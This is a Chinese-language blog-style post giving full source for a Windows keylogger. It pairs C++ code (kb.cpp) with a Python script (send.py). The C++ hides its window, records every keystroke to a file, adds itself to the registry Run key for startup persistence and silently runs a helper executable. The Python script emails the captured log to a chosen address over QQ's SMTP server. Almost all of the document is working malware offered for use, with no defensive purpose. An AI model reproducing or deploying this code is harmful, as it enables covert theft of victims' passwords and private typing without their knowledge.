Python 基于C++ & python的键盘记录器发送指定邮箱
1.简介:
采用c++与python语言相结合的方法,c++负责采集键盘操作记录到文本,python脚本实时将文本内容发送至指定邮箱。资源文件已打包,可设置开机自启动。
2.kb.cpp 键盘记录实现代码:
#include <iostream>
#include <stdio.h>
#include <io.h>
#include <stdlib.h>
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏窗口
using namespace std;
string GetKeyName( int );
bool JudgeShift();
void init();
int main()
{
string FileName = "D://log.txt";
string KeyName = "";
fstream FileStream;
init();
while ( 1 )
{ FileStream.open( FileName.c_str(), std::fstream::out | std::fstream::app );
Sleep( 50 );
for ( int i = 8; i <= 255; i++ )
{
if ( GetAsyncKeyState( i ) & 1 == 1 ) /* 判断虚拟按键是否按下,无论是一直按着还是按一下就弹起,只判断是否按过 */
{
KeyName = GetKeyName( i );
FileStream.write( KeyName.c_str(), KeyName.size() );
}
}
FileStream.close();
}
return(0);
}
void init(){
// 下面的代码防止程序重复被运行 //
HANDLE hOneInstanceMutex = ::CreateMutex(NULL, FALSE, "MyServer_is_Running");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
hOneInstanceMutex = NULL;
return ;
}
///
if ( !access("D://log.txt",0) ){
Sleep(5000);
WinExec("D://sd.exe",SW_HIDE);
Sleep(3000);
remove("D://log.txt");
}
if ( !access("D://start.txt",0) )return;//如果已设置开机自启动 ,则不必再设置
//printf("开始设置启动");
//写入注册表,开机自启动
HKEY hKey;
//找到系统的启动项
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开启动项Key
long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, lpRun, 0, KEY_WRITE, &hKey);
if(lRet == ERROR_SUCCESS)
{
char pFileName[MAX_PATH] = {0};
//得到程序自身的全路径
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
//添加一个子Key,并设置值
lRet = RegSetValueEx(hKey, "kb", 0, REG_SZ, (BYTE *)pFileName, dwRet);
//关闭注册表
RegCloseKey(hKey);
if(lRet != ERROR_SUCCESS)
{
printf("错误,不能随系统启动");
}else {
FILE *fp=fopen("D://start.txt","w");
fclose(fp);
}
}
return;
}
string GetKeyName( int NumKey )
{
bool IS_SHIFT = JudgeShift();
string revalue = "";
if ( NumKey >= 65 && NumKey <= 90 )
{
if ( GetKeyState( VK_CAPITAL ) )
{
if ( IS_SHIFT )
revalue = NumKey + 32;
else
revalue = NumKey;
}else {
if ( IS_SHIFT )
revalue = NumKey;
else
revalue = NumKey + 32;
}
}
/* ---------------------------上面的部分判断键盘上的字母----------------------------------------------// */
else if ( NumKey >= 48 && NumKey <= 57 )
{
if ( IS_SHIFT )
{
switch ( NumKey )
{
case 48: revalue = ")"; break;
case 49: revalue = "!"; break;
case 50: revalue = "@"; break;
case 51: revalue = "#"; break;
case 52: revalue = "$"; break;
case 53: revalue = "%"; break;
case 54: revalue = "^"; break;
case 55: revalue = "&"; break;
case 56: revalue = "*"; break;
case 57: revalue = "("; break;
}
}else {
switch ( NumKey )
{
case 48: revalue = "0"; break;
case 49: revalue = "1"; break;
case 50: revalue = "2"; break;
case 51: revalue = "3"; break;
case 52: revalue = "4"; break;
case 53: revalue = "5"; break;
case 54: revalue = "6"; break;
case 55: revalue = "7"; break;
case 56: revalue = "8"; break;
case 57: revalue = "9"; break;
}
}
}
/* 判断键盘中间的特殊符号 */
else if ( NumKey >= 186 && NumKey <= 222 )
switch ( NumKey )
{
case 186:
if ( IS_SHIFT )
revalue = ":";
else
revalue = ";";
break;
case 187:
if ( IS_SHIFT )
revalue = "+";
else
revalue = "=";
break;
case 188:
if ( IS_SHIFT )
revalue = "<";
else
revalue = ",";
break;
case 189:
if ( IS_SHIFT )
revalue = "_";
else
revalue = "-";
break;
case 190:
if ( IS_SHIFT )
revalue = ">";
else
revalue = ".";
break;
case 191:
if ( IS_SHIFT )
revalue = "?";
else
revalue = "/";
break;
case 192:
if ( IS_SHIFT )
revalue = "~";
else
revalue = "`";
break;
case 219:
if ( IS_SHIFT )
revalue = "{";
else
revalue = "[";
break;
case 220:
if ( IS_SHIFT )
revalue = "|";
else
revalue = "\\";
break;
case 221:
if ( IS_SHIFT )
revalue = "}";
else
revalue = "]";
break;
case 222:
if ( IS_SHIFT )
revalue = '"';
else
revalue = ",";
default:
revalue = "error";
break;
}
else if ( NumKey == VK_ESCAPE ) /* 退出 */
revalue = "[Esc]";
else if ( NumKey == VK_F1 ) /* F1至F12 */
revalue = "[F1]";
else if ( NumKey == VK_F2 )
revalue = "[F2]";
else if ( NumKey == VK_F3 )
revalue = "[F3]";
else if ( NumKey == VK_F4 )
revalue = "[F4]";
else if ( NumKey == VK_F5 )
revalue = "[F5]";
else if ( NumKey == VK_F6 )
revalue = "[F6]";
else if ( NumKey == VK_F7 )
revalue = "[F7]";
else if ( NumKey == VK_F8 )
revalue = "[F8]";
else if ( NumKey == VK_F9 )
revalue = "[F9]";
else if ( NumKey == VK_F10 )
revalue = "[F10]";
else if ( NumKey == VK_F11 )
revalue = "[F11]";
else if ( NumKey == VK_F12 )
revalue = "[F12]";
else if ( NumKey == VK_SNAPSHOT ) /* 打印屏幕 */
revalue = "[PrScrn]";
else if ( NumKey == VK_SCROLL ) /* 滚动锁定 */
revalue = "[Scroll Lock]";
else if ( NumKey == VK_PAUSE ) /* 暂停、中断 */
revalue = "[Pause]";
else if ( NumKey == VK_CAPITAL ) /* 大写锁定 [Caps Lock]*/
revalue = "";
else if ( NumKey == VK_BACK ) /* <- 回格键 */
revalue = "[Backspace]";
else if ( NumKey == VK_RETURN ) /* 回车键、换行 [Enter]*/
revalue = "\n";
else if ( NumKey == VK_SPACE ) /* 空格 */
revalue = " ";
else if ( NumKey == VK_TAB ) /* 制表键 [Tab]*/
revalue = " ";
else if ( NumKey == VK_LCONTROL ) /* 左控制键 */
revalue = "[Ctrl]";
else if ( NumKey == VK_RCONTROL ) /* 右控制键 */
revalue = "[CTRL]";
else if ( NumKey == VK_LMENU ) /* 左换档键 */
revalue = "[Alt]";
else if ( NumKey == VK_LMENU ) /* 右换档键 */
revalue = "[ALT]";
else if ( NumKey == VK_LWIN ) /* 右 WINDOWS 键 */
revalue = "[Win]";
else if ( NumKey == VK_RWIN ) /* 右 WINDOWS 键 */
revalue = "[WIN]";
else if ( NumKey == VK_APPS ) /* 键盘上 右键 */
revalue = "右键";
else if ( NumKey == VK_INSERT ) /* 插入 */
revalue = "[Insert]";
else if ( NumKey == VK_DELETE ) /* 删除 */
revalue = "[Delete]";
else if ( NumKey == VK_HOME ) /* 起始 */
revalue = "[Home]";
else if ( NumKey == VK_END ) /* 结束 */
revalue = "[End]";
else if ( NumKey == VK_PRIOR ) /* 上一页 */
revalue = "[PgUp]";
else if ( NumKey == VK_NEXT ) /* 下一页 */
revalue = "[PgDown]";
/* 不常用的几个键:一般键盘没有 */
else if ( NumKey == VK_CANCEL ) /* Cancel */
revalue = "[Cancel]";
else if ( NumKey == VK_CLEAR ) /* Clear */
revalue = "[Clear]";
else if ( NumKey == VK_SELECT ) /* Select */
revalue = "[Select]";
else if ( NumKey == VK_PRINT ) /* Print */
revalue = "[Print]";
else if ( NumKey == VK_EXECUTE ) /* Execute */
revalue = "[Execute]";
/* ----------------------------------------// */
else if ( NumKey == VK_LEFT ) /*上、下、左、右键 */
revalue = "[←]";
else if ( NumKey == VK_RIGHT )
revalue = "[→]";
else if ( NumKey == VK_UP )
revalue = "[↑]";
else if ( NumKey == VK_DOWN )
revalue = "[↓]";
else if ( NumKey == VK_NUMLOCK ) /* 小键盘数码锁定 [NumLock]*/
revalue = "";
else if ( NumKey == VK_ADD ) /* 加、减、乘、除 */
revalue = "+";
else if ( NumKey == VK_SUBTRACT )
revalue = "-";
else if ( NumKey == VK_MULTIPLY )
revalue = "*";
else if ( NumKey == VK_DIVIDE )
revalue = "/";
else if ( NumKey == 190 || NumKey == VK_DECIMAL ) /* 键盘 . 及小键盘 . */
revalue = ".";
/* 小键盘数字键:0-9 */
else if ( NumKey == VK_NUMPAD0 )
revalue = "0";
else if ( NumKey == VK_NUMPAD1 )
revalue = "1";
else if ( NumKey == VK_NUMPAD2 )
revalue = "2";
else if ( NumKey == VK_NUMPAD3 )
revalue = "3";
else if ( NumKey == VK_NUMPAD4 )
revalue = "4";
else if ( NumKey == VK_NUMPAD5 )
revalue = "5";
else if ( NumKey == VK_NUMPAD6 )
revalue = "6";
else if ( NumKey == VK_NUMPAD7 )
revalue = "7";
else if ( NumKey == VK_NUMPAD8 )
revalue = "8";
else if ( NumKey == VK_NUMPAD9 )
revalue = "9";
/* ----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------// */
return(revalue);
}
bool JudgeShift()// 判断Shift键状态
{
if (GetAsyncKeyState( VK_SHIFT ))
return(true);
else
return(false);
}
3.send.py代码实现文本内容发送邮箱部分:
from email.mime.text import MIMEText
from email import encoders
from email.header import Header
from email.utils import parseaddr, formataddr
import smtplib
import sys
import requests
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
def isConnected():
try:
html = requests.get("http://www.baidu.com",timeout=2)
except:
return False
return True
if(isConnected()==False):
sys.exit()
#输入Email地址和口令: 发送者的qq号@qq.com
from_addr = '[email protected]'
password = 'xxxxxxx'
#输入收件人地址:'hello, send by Python...'
to_addr = 'xxxxxx'
#输入SMTP服务器地址:
smtp_server = 'smtp.qq.com'
f = open('D://log.txt')
log = f.read()
f.close()
msg = MIMEText(log, 'plain', 'utf-8')
msg['From'] = _format_addr('键盘记录器 <%s>' % from_addr)
#print(msg['From'],'\n')
msg['To'] = _format_addr('管理员 <%s>' % to_addr)
msg['Subject'] = Header('来自SMTP的问候……', 'utf-8').encode()
server = smtplib.SMTP(smtp_server, 25) # SMTP协议默认端口是25
#server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()